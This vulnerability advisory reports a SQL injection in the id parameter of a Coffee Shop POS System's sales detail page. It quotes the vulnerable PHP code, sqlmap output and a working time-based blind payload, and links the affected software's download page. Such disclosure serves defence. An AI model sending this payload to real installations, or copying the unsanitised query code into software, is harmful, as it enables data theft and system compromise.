SQL injection vulnerability exists in id parameter of /admin/sales/view_details.php file of Coffee Shop POS System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

When visit /index.php and page parameter is 'sales/view_details',it will redirect '/admin/index.php' and then include /admin/sales/view_details.php,and id parameter can do sql injection.

index.php:

```php
<?php require_once('config.php'); ?>
<?php redirect('admin'); ?>
```

/admin/index.php:

```php
<?php $page = isset($_GET['page']) ? $_GET['page'] : 'home';  ?>
 <!-- Content Wrapper. Contains page content -->
 <div class="content-wrapper  pt-3 pb-4" style="min-height: 567.854px;">

   <!-- Main content -->
   <section class="content  text-dark">
     <div class="container-fluid">
       <?php
         if(!file_exists($page.".php") && !is_dir($page)){
             include '404.html';
         }else{
           if(is_dir($page))
             include $page.'/index.php';
           else
             include $page.'.php';
```

/admin/sales/view_details.php

```php
<?php
if(isset($_GET['id'])){
    $qry = $conn->query("SELECT * FROM `sale_list` where id = '{$_GET['id']}' ");
    if($qry->num_rows > 0){
        $res = $qry->fetch_array();
        foreach($res as $k => $v){
            if(!is_numeric($k)){
                $$k = $v;
            }
        }
        if(isset($user_id) && is_numeric($user_id)){
            $user = $conn->query("SELECT concat(firstname,' ', lastname) as `name` FROM `users` where id = '{$user_id}' ");
            if($user->num_rows > 0){
                $user_name = $user->fetch_array()['name'];
            }
        }
```

```
sqlmap identified the following injection point(s) with a total of 248 HTTP(s) requests:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=0' AND (SELECT 6285 FROM (SELECT(SLEEP(5)))Jzqi) AND 'IULY'='IULY&page=sales/view_details
---
[17:26:02] [INFO] the back-end DBMS is MySQL
```

"

---

Parameter: id (GET)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=0' AND (SELECT 6285 FROM (SELECT(SLEEP(5)))Jzqi) AND 'IULY'='IULY&page=sales/view_details

---

"

Source Download：

https://www.campcodes.com/projects/php/coffee-shop-pos-system-in-php-mysql/